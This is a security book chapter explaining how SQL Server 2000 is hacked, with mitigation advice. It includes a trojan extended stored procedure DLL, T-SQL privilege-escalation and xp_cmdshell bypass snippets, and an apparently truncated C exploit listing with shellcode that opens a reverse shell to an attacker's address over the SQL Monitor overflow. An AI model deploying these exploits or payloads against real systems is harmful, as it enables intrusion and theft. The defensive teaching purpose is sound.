CHAPTER 2

Under Siege: How SQL Server Is Hacked

IN THIS CHAPTER:

Database servers are a soft target for hackers even though they should be the most secure boxes within an organization's IT infrastructure. Customer information, human resources data—pretty much everything that lends itself to the continued success of the organization is stored in its database. Yet the one place that's designed to keep this information safe and accessible is the thing that ends up allowing the data to be compromised. How is Microsoft SQL Server hacked? The answer to this question depends on by whom, why, and where the hacking is done.

It's a well-known fact that most attacks occur from the "inside" by people who have already been given access. The way this kind of person, be they a disgruntled employee or an industrial spy, attacks a SQL server usually is completely different from the way an "outsider" approaches an attack. Defending against "insider" attacks can be extremely difficult; if the SQL Server DBA has a chip on their shoulder, then there's not a lot that can be done to prevent a successful attack. Ensuring that offsite daily backups occur can help mitigate the risk, but prevention is obviously better than a cure. "Outsider" attacks are considerably easier to mitigate. Keep in mind that offsite backups can also represent a physical security threat if they are not handled properly. They only mitigate the threat of data tampering or loss, not the theft of data or data tampering.

Attacks fall pretty much into two categories: exploitation of software vulnerabilities and exploitation of configuration issues. Keeping a system patched helps to mitigate the first category, and following best practices helps to mitigate the second category. But patching a system is no easy or fast task. Before patches can be applied, they must be fully tested to ensure they are not going to cause problems like applications breaking—this can take time and gives the potential attacker a window of opportunity in which to take advantage of a new vulnerability. In addition, SQL Server patches (not service packs) usually do not include an installer and thus require manual file copying and script execution on every instance of SQL Server installed on the machine. Remediation of configuration issues can be problematic, too. SQL Server comes installed with a set of default permissions, and even following published best practices can leave holes.

The best way to defend a computer system is to learn how it is attacked. While unsolicited attacking of computer systems is not condoned, learning about the techniques of attack is essential. One of the vulnerabilities demonstrated in this chapter is the very one that spawned the SQL Slammer worm, so keep in mind the damage that can be caused when people abuse this type of information. This chapter covers both software vulnerabilities and configuration issues, but it must be stressed that new issues are being discovered weekly in both areas and vigilance is the best way to counter this. SQL Server administrators should periodically check the

Microsoft Security Site for new SQL patches and should be subscribed to a good security mailing list such as Bugtraq or NTBugtraq.

Picking the Right Tools for the Job

Before any job is undertaken, be it grouting the shower or paving a patio, a lot of unnecessary grief can be avoided by getting the right tools beforehand—attacking a computer system is no different. As far as compromising Microsoft SQL Server is concerned, the "tools of the trade" are a combination of the SQL Server client tools, such as Query Analyzer, SQLPing, and a C compiler. One of the most important tools is a copy of SQL Server itself. It's far better to examine vulnerability and then code an exploit for it on a system in the lab than to experiment on the live target system.

Although SQL Server is generally good at handling exceptions and remaining up, there are some areas where an access violation will bring the server down, which generally is not a good thing. Further, for every exception raised and caught, an entry is added to the Application Event Log, again something that should be avoided where possible if the attacker wants to avoid raising alarms. If the attacker is intent upon breaking into the SQL server, and it's fully patched, then they may need to discover their own new vulnerability. Having access to the server software, in this scenario, is an absolute must. A good decompiler, such as Datarescue's IDA Pro, helps enormously too, where stress testing turns up nothing and one must turn to reverse engineering. Finally, a network capture tool (sniffer), such as NGSSniff or Ethereal, is enormously handy on occasion, too.

The author's SQL Server toolkit consists of the following:

- MS SQL Server 2000, Developer Edition
- MS SQL Client tools such as Query Analyzer and odbcping
- NGSSniff
- NGSSQLCrack
- NGSSQuirreL
- Microsoft Visual C++

In addition to these, there are the author's own tools created using the compiler. You never know what you're going to need in any attempted penetration, so the compiler provides a method to create new tools on the fly. Some of the tools listed above will be discussed throughout various sections of this chapter.

Data or Host?

One question an attacker needs to ask themselves, before embarking upon an attempted compromise, is are they after the data or the host? A typical exploit for SQL Server (such as exploiting a buffer overrun) may be to generate a remote or reverse shell. But, while this will give an attacker access to the host, it does not directly give them easy access to the data stored in the database, even if the shell is running in the security context of the local SYSTEM account.

To get access to the data, the attacker needs to obtain the actual database MDF files, or employ some other mechanism. If access to the data is actually the aim of the attack, then the attacker is best served by leveling a run-time patching exploit at the host. Essentially, this kind of exploit goes through a series of calls, such as VirtualProtect(), to mark code segments of virtual memory as writable, and modifies 3 bytes used as a reference to determine the level of access or authorization. By setting these 3 bytes appropriately, it is possible to make every login equivalent to sa so that even low-privileged logins have the ability to select, insert, or update data they would not normally have access to. What the attacker wishes to achieve determines their approach to an attack.

Attacks that Do Not Require Authentication

Attacks that do not require the attacker to authenticate—that is, they do not have to present a valid user ID and password before launching the attack—are generally exploitation of buffer overflow vulnerabilities. Microsoft SQL Server suffers from three distinct buffer overflows vulnerabilities that do not require authentication, though patches for these issues have been made available by Microsoft. Other attacks that do not require authentication generally fall into the class of an attacker attempting to "find" a valid user ID and password pair so that they *can* authenticate. The manner in which they do this varies.

Exploitation of Buffer Overflows

It July 2002, three new unauthenticated buffer overflow vulnerabilities were found in SQL Server. The first two were discovered by David Litchfield of NGSSoftware, one stack based and the other heap based. These vulnerabilities occur over the SQL Monitor port, UDP 1434. The third overflow vulnerability was discovered by Dave Aitel of Immunity Security, Inc. This overflow was termed as the "hello" bug because it occurs in the very first stages of the authentication process. The "hello" bug is exploited over TCP port 1433.

SQL Monitor Port Attacks

According to the assigned ports list, UDP port 1434 is the Microsoft SQL Monitor port and it first came to the security community's attention when Chip Andrews of SQLSecurity.com released a nifty little utility called SQLPing. SQLPing sends a single-byte UDP packet to 1434 on the given host, though it will also work against the whole broadcast subnet. The packet's byte has a value of 0x02. SQL Server will reply back to the requestor with possibly sensitive information, such as the server's hostname, version, and what network libraries and ports the server is listening upon:

- ServerName:SERVER_NAME
- InstanceName:MSSQLSERVER
- IsClustered:No
- Version:8.00.194
- np:\\SERVER_NAME\pipe\sql\query
- via:SERVER_NAME,0:1433

There are some points to note about this list. First, the version number is incorrect. For example, if Service Pack 2 has been applied, running the **select @@version** query returns a version number of 8.00.608—not 8.00.194. Further, if the server has been "hidden," by selecting the Hide option for the TCP network library in Server Network Utility, then SQL Server will listen on TCP port 2433. This is what Microsoft means by "hiding" the SQL server.

SQLPing caused a brief blip on the scanning horizon when it first came out, but scanning activity stopped as quickly as it had come. Sort of like the calm before the storm.

So what else does SQL Server do when it receives a packet on 1434 and its value isn't 0x02? SQLPing made me curious, so dutifully I wrote a small Winsock application that spewed the values from 0x00 to 0xFF at 1434. At 0x08, SQL Server was dead.

Of interest are the bytes 0x04, 0x08, and 0x0A. 0x04 leads to a stack-based buffer overflow, 0x08 leads to a heap overflow, and 0x0A leads to a network DoS.

Leading Byte \x04

When SQL Server receives a packet with the first byte set to 0x04, it takes whatever comes after the 0x04, plugs into a buffer, and attempts to open a registry key using the buffer. While preparing to open the registry key, however, it performs an unsafe string copy and overflows the stack-based buffer overwriting the saved return

address on the stack. This allows a complete system compromise without ever needing to authenticate. What exacerbates this problem is the fact that this is going over UDP. This creates two vulnerabilities. First, it's easy to spoof the IP address, making it look like the attack came from somewhere else or even from a host on the "inside"—this will get around a great deal of firewalls. Second, if the attacker sets the UDP source port to 53, making it look like a response to a DNS query, then again this will bypass a large number of firewalls.

It's important to ensure that your firewall rule set is configured such that all packets coming from the outside, but with an internal address, are dropped. Also, do not allow any packet destined for port 1434 to reach your SQL servers—no matter what the source port is. SQL Books Online states that 1434 must be open on the firewall, but this is simply not true. I've never had any problems when it's blocked—Query Analyzer, Enterprise Manager, and IIS all cope fine as long as the client explicitly specifies the TCP port for any non-TCP 1433 listening instances either in the connection string or using an alias in the Client Network Utility. For more on this buffer overflow and for demonstration code, see the section "Code Listing 1."

Leading Byte \x08

By sending a single-byte (0x08) UDP packet to 1434, it's possible to kill the SQL server. What starts as a simple DoS, however, turns into a heap overflow when you attempt to work out what's going on. When the server dies, it has just called strtok(). The strtok() function looks for a given token (character) in a string and returns a pointer to the token if one is found. If the token is not found, then a NULL pointer is returned. SQL Server, when it calls strtok(), is looking for a colon (:), but there isn't one. Then, strtok() returns NULL but whoever coded this part of the server didn't check to see if the function had succeeded or not. They pass the pointer to atoi(), but, because it's NULL, SQL crashes—the exception isn't handled.

If a 2-byte packet, \x08\x3A (0x3A is a colon), is sent, strtok() succeeds and a pointer is returned, but SQL still crashes—this time in the call to atoi(). atoi() takes a string and, provided the first part of that string is a number, then returns the integer representation of the string. For example, \0x31\0x32 goes to 12. But because there is nothing after the colon, atoi() crashes—another failure to check if things have worked out okay.

Next, the attacker sends a 3-byte packet, \0x08\0x3A\0x31, and SQL survives. This looks too close to being a host:port kind of thing, so if the attacker plugs in an overly long string, tack on a :22 at the end and fire off the packet. This time there's a heap overflow—one that allows an attacker to gain complete control over the server. The same caveats about UDP and firewalls apply here, too.

Leading Byte \x0A

When SQL Server receives a packet with a first byte of 0x0A, it replies to the source with a single-byte packet of 0x0A. I assume this must be some kind of heartbeat functionality. Here's the problem, though: if I spoof a packet and set the source IP address to that of one SQL server and set the source port to 1434, and then send this packet to a second SQL server, the second SQL server will reply to the first, sending 0x0A to UDP port 1434. The first SQL server will reply to the second with its own 0x0A—again to port 1434. The second then replies…well, you get the general idea. This situation could be detrimental to the network and could represent a significant denial of service attack.

Pretty much every other leading byte above 0x0A does nothing. Those below, such as 0x06 and 0x03, either do nothing or reply back with the same information as a 0x02 packet.

The "hello" Bug

As previously mentioned, the "hello" bug was discovered by Dave Aitel of Immunity Security, Inc. (www.immunitysec.com/). Before authentication takes place, a couple of network packets are sent between the client and the server. By building a specially crafted first client packet, a stack-based buffer is overflowed and an attacker can gain control of the SQL server process's path of execution, allowing an attacker to run code in the security context of the SQL server. An attacker may choose to exploit this by bypassing authentication or creating a remote shell. For more details on this overflow, see www.immunitysec.com/vulnerabilities/index.html.

Password Hunting

For those would-be attackers who cannot exploit such buffer overflow vulnerabilities, they must rely on being able to get access to a valid user ID and password combination. There are several ways in which this can be done.

Network Sniffing

When a user connects to a SQL server and authenticates as a SQL login, as opposed to a Windows NT/2000 user, their login name and password are sent across the network wire in what is tantamount to clear text. The "encryption" scheme used to hide the password is a simple bitwise XOR operation. The password is converted to a wide-character format, or Unicode, and each byte is XOR'd with a constant fixed value of 0xA5. Of course, this is easy to work out because every second byte of the

"encrypted" password on the wire is an 0xA5. Additionally, it is known that the password is in Unicode and every second byte is NULL. When any number is XOR'd with 0 (or NULL) the result is the same: 0x41 xor 0x00 = 0x41, 0xA5 xor 0x00 = 0xA5.

This means that, provided one can run a network sniffer between the client and the SQL server, it is a trivial task to capture someone's authentication details and un-XOR it to get the original password back out. Once this has been done, then of course access to the SQL server can be gained. This is perhaps one of the reasons why Microsoft recommends using Windows NT/2000–based authentication as opposed to SQL logins; the latter is extremely weak. In order to overcome the exposure of credentials using native SQL security, you can install a valid certificate (one that the client trusts and has been issued for "server authentication") on the server itself. This enables you to allow SSL communications for all SQL Server traffic and, even if you don't enable SSL, your SQL credentials will still be encrypted using the certificate.

Employing switched networks will help mitigate the risk of password sniffing attacks. Of course, it becomes necessary to ensure that the switch isn't vulnerable to ARP spoofing attacks or the advantage is lost.

Brute-Force Attacks

Traditionally, SQL Server is famous for the most powerful login on the system, the sa login, having no password. A recent worm, spida, showed just how prevalent this practice still is. The worm may have changed this somewhat, however. That said, the attacker would do well to check if they could log in as sa without a password. When SQL Server 2000 is installed, the person installing it must go slightly out of their way to actually allow no password on the sa login, but nonetheless it is still often done, the reasons being along the lines of "it's how we had SQL 6 or 7 set up...." or "our applications might break if it isn't blank." Microsoft would better serve its customers in the long run if it were simply to refuse to allow the sa login to have no password.

NOTE

SQL Server 2000 SP3 does check for blank sa passwords and, by default, will not allow them.

Older versions of SQL Server, such as 6 and 6.5, installed a login called probe. This, too, came with a blank password and is still worth trying, especially on those systems that were upgraded from an older SQL Server version, or where SQL Server 2000 machines coexist in an environment with SQL Server 6/6.5.

Another account commonly found on a SQL server is the distributor_admin login. While this is given a password by default, the password being a call to CreateGuid(),

many database administrators will remove the password or change it to something easy to guess.

When all else fails, it may be worth an attacker attempting to brute force the accounts if they have been assigned a password, so it is imperative to ensure that all logins have been assigned a long, complex password. It is worth noting that SQL logins cannot be locked out, do not have password complexity rules, and do not have lifetimes. This should impress upon you the importance of password complexity and length in keeping attackers at bay.

Files That Often Contain SQL Users and Passwords

If one can get access to the file system of a box that communicates with a SQL server or to the SQL server itself, then there are several files that may be worth examining for credential details that will give access to the SQL server. In the case of web servers, it may be worth examining the source code of Active Server Pages or application-wide files such as application.cfm, global.asa, and web.config in .NET. Performing a search for files with a .dsn file extension may prove fruitful, too. In terms of the SQL server itself, sqlsp.log and setup.iss, two temporary files left after installing or upgrading SQL Server, have yielded passwords in previous SQL Server versions and patch levels.

Trojaning Extended Stored Procedures

After installing SQL Server, often the NTFS permissions on the image files (DLLs and EXEs) are weak, allowing everybody to replace them. Once the SQL server is running, it's not easy to replace a DLL that has already been loaded into memory with a trojaned version. However, the extended stored procedure DLLs, those that start with xp*, are only loaded when and if the extended stored procedure is executed, and so it may be possible to replace one of these. Choose an extended stored procedure to which the PUBLIC role may access, such as xp_showcolv. Here is the C source for the extended stored procedure:

```
// Very simple Extended Stored Procedure Trojan
// Compile:
// C:\> cl /LD xprepl.c /link odbc32.lib
// David Litchfield
// david@ngssoftware.com
#include <stdio.h>
#include <srv.h>
__declspec(dllexport)ULONG __GetXpVersion()
     {
          return 1;
```

```
    }
__declspec(dllexport)SRVRETCODE xp_showcolv(SRV_PROC* pSrvProc)
    {
        system("mycommand");
        return (1);
    }
```

This will suffice. Note that this code exports two functions: the stored procedure and GetXpVersion(). SQL Server uses GetXpVersion() when it loads the library and it is required for successful execution of the extended stored procedure. The code inside of xp_showcolv simply calls the system() function to run a command. Of course, if one was trying to gain access to the SQL server's data, as the DLL is loaded into the same address space as the server itself, they could do whatever they wanted. Since code executed in the DLL runs in SQL Server's process space, they would have total control of the SQL Server process. Once xp_showcolv has been run, the desired commands will have executed.

Client Attacks

In the same way that SQL Server is vulnerable to a buffer overflow issue in the SQL Monitor port, so too is SQL Server Enterprise Manager, a Microsoft Management Console (MMC) snap-in for SQL administration. By coding a UDP server that listens on port 1434 and that sends out an overly long hostname when a request is made to it by the act of MMC polling the network for local SQL servers, a saved return address is overwritten on the stack, and, on procedure return, the attacker can gain control of MMC's path of execution and run arbitrary code in the context of the user running Enterprise Manager. It must be assumed that the person running Enterprise Manager has permissions to access the SQL server and so an indirect attack can be launched against the server using this person's credentials.

Attacks That Require Authentication

The number of vulnerabilities at the attacker's disposal that can be exploited rises considerably when authenticated access can be gained. The reason for this is quite simple: more functionality is exposed when someone is logged in. SQL Server is great because it exposes a great deal of functionality, and this is good for the administrator because it brings them a few steps closer to zero-administration. However, as most in people involved in security know, the more complex and the more functional an application becomes, the more likely it is that holes will begin

to appear in greater numbers. Often, developers dumb down, weaken, or remove security mechanisms just to get often disparate and complex components to communicate with each other so that the whole software package works before the developers' deadline is due. So it is of SQL Server: it is highly functional but is also filled with potential attack vectors.

Buffer Overflows

SQL Server is infamous for the number of buffer overflow vulnerabilities it has had in the past. Even today, new overflows are being discovered almost on a fortnightly basis. We have already discussed the unauthenticated SQL Monitor buffer overflows on UDP, but now we will examine those that do require authentication. Consider the situation where an attacker can run arbitrary SQL via web form injection but a firewall prevents direct access to the SQL server. In such cases, authenticated overflows are important. Many overflows have been discovered in extended stored procedures and various functions. This section covers these overflows.

Extended Stored Procedures

The following extended stored procedures have been noted to have buffer overflow issues in SQL 2000. Make sure your systems are fully patched in order to protect yourself from exploits targeting these vulnerabilities.

- xp_controlqueueservice (Q319507)
- xp_createprivatequeue (Q319507)
- xp_createqueue (Q319507)
- xp_decodequeuecmd (Q319507)
- xp_deleteprivatequeue (Q319507)
- xp_deletequeue (Q319507)
- xp_displayqueuemesgs (Q319507)
- xp_dsninfo (Q319507)
- xp_mergelineages (Q319507)
- xp_oledbinfo (Q319507)
- xp_proxiedmetadata (Q319507)
- xp_readpkfromqueue (Q319507)

- xp_readpkfromvarbin (Q319507)
- xp_repl_encrypt (Q319507)
- xp_resetqueue (Q319507)
- xp_sqlinventory (Q319507)
- xp_unpackcab(Q319507)
- xp_sprintf (Q305601)
- xp_displayparamstmt (MS00-092)
- xp_enumresultset (MS00-092)
- xp_showcolv (MS00-092)
- xp_updatecolvbm (MS00-092)

Please see the section "Code Listing 2" for a Transact-SQL exploit proof of concept.

Functions

Three functions, OpenDataSource(), OpenRowSet(), and pwdencrypt(), are known to have buffer overflow vulnerabilities. Please see the section "Code Listing 3" for a Transact-SQL exploit proof of concept for the pwdencrypt() overflow.

Although "bulk insert" is vulnerable to overflow, typically only sysadmin and bulkadmin server role members may use its functionality.

Runtime Patching

By exploiting a buffer overflow vulnerability, an attacker may choose to "upgrade" their level of access in terms of database authorization. By modifying 3 bytes in memory, an attacker can effectively set the user ID equivalent to a SQL Server system administrator. Essentially, before access is given to a database object, the SQL Server code checks to see if the user's ID is equal to 1. UID 1 maps to a built-in user DBO (database owner) and the DBO can do anything. So by changing the code in memory, after calling VirtualProtect() to make the code segment writable, an attacker can effectively make every database user a SQL Server system administrator. Of course, the next time the server is stopped and restarted, this situation will revert. For a more detailed discussion of this, see www.nextgenss.com/papers/violating_database_security.pdf.

Reading the File System

Providing access can be gained to it, xp_readerrorlog can allow the user to read files off of the file system:

```
exec master..xp_readerrorlog 1,N'c:\boot.ini'
```

The files need not be text-based, either. xp_readerrorlog can read binary files, too.

NOTE

By default, xp_readerrorlog can only be executed by members of the system administrators role but not by normal users.

Reading the Registry

Two extended stored procedures allow the PUBLIC role to read from the registry:

```
     EXEC xp_regread 'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\MSSQLServer\Setup', 'SQLPath'
```

and

```
     EXEC xp_instance_regread 'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\MSSQLServer\Setup', 'SQLPath'
```

These can be useful for gathering information about the host.

Password Cracking

In SQL Server 2000, a SQL login user's password, or rather a one-way hash of it, is stored in the sysxlogins table in the master database. SQL Server uses the pwdencrypt() function to hash passwords. pwdencrypt() is an internal function and, when called, operates in the following fashion. The code calls the C time() function that returns the system time as a dword (an unsigned 32-bit integer), which is then passed as a seed to srand(). srand() uses the seed to create a start point from which calls to the rand() function can be made. rand() is called twice, and the two dwords returned are converted to shorts and concatenated. This is then used as a salt to hash the user's Unicode password using the Secure Hashing Algorithm (SHA). SQL Server lets itself down, however, as both a case-sensitive password hash is created as well as an uppercase version. If one can get at the hashes, then a brute-force attack is made much simpler by going after the uppercased hash—there is considerably less key space to go through. For an in-depth look at SQL Server 2000 password hashes and password strength auditing, read the paper at www.nextgenss.com/papers/cracking-sql-passwords.pdf.

Bypassing Access Control Mechanisms

On older and unpatched versions of SQL Server, there are several ways to bypass access control mechanisms. Only sysadmins should be able to access the extended stored procedure xp_cmdshell, which allows the user to run an operating system command through SQL Server. A normal non-sysadmin should not be able to access this extended stored procedure, so we'll use this as the example.

Temporary Stored Procedures

There was a time when SQL Server performed no permission checking on temporary stored procedures, the reason being that temporary stored procedures should be accessible only to the user who created it, who of course should have the permission to access it. However, this doesn't take into account the fact that the temporary stored procedure may be accessing something the user doesn't have access to:

```
create proc #mycmd as
     exec master..xp_cmdshell 'dir > c:\temp-stored-proc-results.txt'
```

Microsoft published a patch for this issue: see www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-048.asp for more details.

OpenRowSet() and adhoc Queries

OpenRowSet() allows a user to connect to any SQL server and run a query against it without have defined the server as a linked server. This is known as an *adhoc query.* As it is the SQL server that actually performs the subquery, it is possible to force it to log in to itself without providing credentials:

```
select * from openrowset ('SQLOLEDB','trusted_connection=yes;data
source=LOCAL_SERVER_NAME;', 'set fmtonly off exec master..xp_cmdshell
 ''dir > c:\adhoc-query-results.txt''')
```

For more information about the fix for this, see www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms00-014.asp.

Windows Authentication and Extended Stored Procedures

There are four (known to the author) extended stored procedures that can be abused by a Windows authenticated user to bypass access control:

- xp_execresultset (MS02-056)
- xp_printstatements (MS02-056)

- xp_displayparamstmt (MS02-056)
- xp_runwebtask (MS02-061)

These four procedures, with the exception of xp_runwebtask, are exported by xprepl.dll and will allow a user to run an arbitrary query. However, what opens them up to abuse is that when the query is run, it is done through a reconnection to the server. In this way, SQL Server will log on to itself and run the query with its privileges. An example would be

```
exec xp_displayparamstmt N'exec master..xp_cmdshell ''dir > c:\esp-
results.txt''',N'master',1
```

Note that this will only work if the user has been authenticated via Windows; it will not work if the user is a SQL login. To protect against this, you should prevent public access to these extended stored procedures.

Running Queries Through a SQL Agent Job

SQL logins can still abuse extended stored procedures, but they must do so by submitting a job to the SQL Agent. The PUBLIC role is allowed to create and submit jobs to be executed by the SQL Agent. To do this, an attacker would use a combination of several stored procedures in the msdb database, such as sp_add_job and sp_add_job_step. As the SQL Agent is considerably more privileged than a simple login, often running in the security context of the local system account, it must ensure that, when a T-SQL job is submitted to it, it can't be abused. To defend against this, it performs a

```
SETUSER N'guest' WITH NORESET
```

This effectively drops its high level of privileges so no low-privileged login can submit something like

```
exec master..xp_cmdshell 'dir'
```

However, this can be trivially bypassed by causing the SQL Agent to reconnect after it's dropped its privileges. Attackers can use one of the vulnerable extended stored procedures just mentioned, such as xp_execresultset, to do this:

```
-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
```

```
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"''''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
```

While removing permission to access the vulnerable stored procedures from the PUBLIC role, a normal user should still not be able to submit jobs to the SQL Agent. This ability opens up a whole new can of worms. For example, a normal user can create or overwrite arbitrary files with arbitrary contents by submitting an @output_file_name to sp_add_jobstep. They could drop a batch file in the Administrator's startup folder or something equally nefarious. It is suggested that PUBLIC not be allowed to submit jobs to the agent—remove the permissions of PUBLIC to sp_add_job, sp_add_jobstep, and so forth.

Resources

No matter how complete the information in this chapter, the SQL Server security saga continues with each passing day. In order to stay current, you will need to continuously research and update your knowledge as new threats arise and new SQL Server versions are released. The following are some resources that should help you keep current:

- www.ngssoftware.com/research.html
- www.sqlsecurity.com/

- http://online.securityfocus.com/cgi-bin/sfonline/vulns.pl?vendor=Microsoft&title=SQL+Server&section=vendor&version=Any&which=NULL
- www.microsoft.com/technet/treeview/default.asp?url=/technet/security/current.asp?productid=30&servicepackid=0
- www.hackerthreads.org/downloads/sql.php?&key=sqltl

Code Listing 1

NOTE

Code listings are for analysis purposes only. It is not recommended that these code listings be manually keyed or executed on your systems except in a controlled environment. These code listings have been publicly released and can be downloaded from the Internet if you need them for research purposes.

This source code is an exploit that will compromise the SQL server and spawn a remote shell to a system of your choosing. I've written it to be independent of any operating system service pack and, as far as possible, SQL Server service pack. Unfortunately, sqlsort.dll, the best choice available for this, changes ever so slightly between a SQL server with no service pack and a SQL server running SP 1 or 2. The import address entry for GetProcAddress() in sqlsort.dll shifts by 12. With no SQL Server service pack, the address of the entry is at 0x42AE1010, and on SP1 and SP2, it is at 0x42AE101C.

Before the attacker gets a chance to exploit the overflow, the process attempts to write to an address pointed to by a register he owns, so he needs to supply a writable address. The attacker uses a location in the .data section of sqlsort.dll. At 0x42B0C9DC, again in sqlsort.dll, there is a "jmp esp" instruction. The attacker overwrites the saved return address with this. Traditional Windows shell code uses pipes to communicate to shell and the process, using the pipes as standard in, out, and error. This unnecessarily bloats Windows shell code exploits. This code uses WSASocket() to create a socket handle, and it is this socket that is passed to CreateProcess() as the handle for standard in, out, and error. By doing this, the code becomes considerably leaner and smaller. Once the shell has been created, it then connects out to a given IP address and port.

```
#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOfSQL(void);
```

```
int StartWinsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;
unsigned int addr;
int SQLUDPPort=1434;
char host[256]="";
char request[4000]="\x04";
char ping[8]="\x02";

char exploit_code[]=
"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
"\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
"\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
"\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
"\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"
"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
"\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
"\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
"\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
"\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
```

```
"\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
"\x58";

int main(int argc, char *argv[])
{
     unsigned int ErrorLevel=0,len=0,c =0;
     int count = 0;
     char sc[300]="";
     char ipaddress[40]="";
     unsigned short port = 0;
     unsigned int ip = 0;
     char *ipt="";
     char buffer[400]="";
     unsigned short prt=0;
     char *prtt="";

     if(argc != 2 && argc != 5)
          {
               printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse
Shell Exploit Code");
               printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address
your_port sp",argv[0]);
               printf("\n\n\tYou need to set nectat listening on a port");
               printf("\n\tthat you want the reverse shell to connect to");
               printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53");
               printf("\n\n\tThen run C:\\>%s db.target.com
99.199.199.199 53 0",argv[0]);
               printf("\n\n\tAssuming, of course, your IP address is
99.199.199.199\n");
               printf("\n\tWe set the source UDP port to 53 so this should
go through");
               printf("\n\tmost firewalls - looks like a reply to a DNS
query. Change");
               printf("\n\tthe source code if you want to modify this.");
               printf("\n\n\tThe SP Level is the SQL Server Service
ack:");
               printf("\n\tWith no service pack the import address entry
or");
               printf("\n\tGetProcAddress() shifts by 12 bytes so we need
to");
               printf("\n\tchange one byte of the exploit code to reflect
this.");
               printf("\n\n\n\tDavid
Litchfield\n\tdavid@ngssoftware.com\n\t22nd May 2002\n\n\n\n");
               return 0;
          }
```

```
     strncpy(host,argv[1],250);
     if(argc == 5)
          {
               strncpy(ipaddress,argv[2],36);

               port = atoi(argv[3]);
               // SQL Server 2000 Service pack level
               // The import entry for GetProcAddress in sqlsort.dll
               // is at  0x42ae1010 but on SP 1 and 2 is at  0x42ae101C
               // Need to set the last byte accordingly
               if(argv[4][0] == 0x30)
                    {
                         printf("Service Pack 0. Import address entry
for GetProcAddress @ 0x42ae1010\n");
                         exploit_code[9]=0x10;
                    }
               else
                    {
                         printf("Service Pack 1 or 2. Import address
entry for GetProcAddress @ 0x42ae101C\n");
                    }

          }

     ErrorLevel = StartWinsock();
     if(ErrorLevel==0)
          {
               printf("Error starting Winsock.\n");
               return 0;
          }
     if(argc == 2)
          {
               strcpy(request,ping);

               GainControlOfSQL();
               return 0;
          }

     strcpy(buffer,exploit_code);

     // set this IP address to connect back to
     // this should be your address
     ip = inet_addr(ipaddress);
     ipt = (char*)&ip;
     buffer[142]=ipt[0];
     buffer[143]=ipt[1];
     buffer[144]=ipt[2];
     buffer[145]=ipt[3];
```

```
    // set the TCP port to connect on
    // netcat should be listening on this port
    // e.g. nc -l -p 80

    prt = htons(port);
    prt = prt ^ 0xFFFF;
    prtt = (char *) &prt;
    buffer[160]=prtt[0];
    buffer[161]=prtt[1];

    strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNN
NNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");

    // Overwrite the saved return address on the stack
    // This address contains a jmp esp instruction
    // and is in sqlsort.dll.

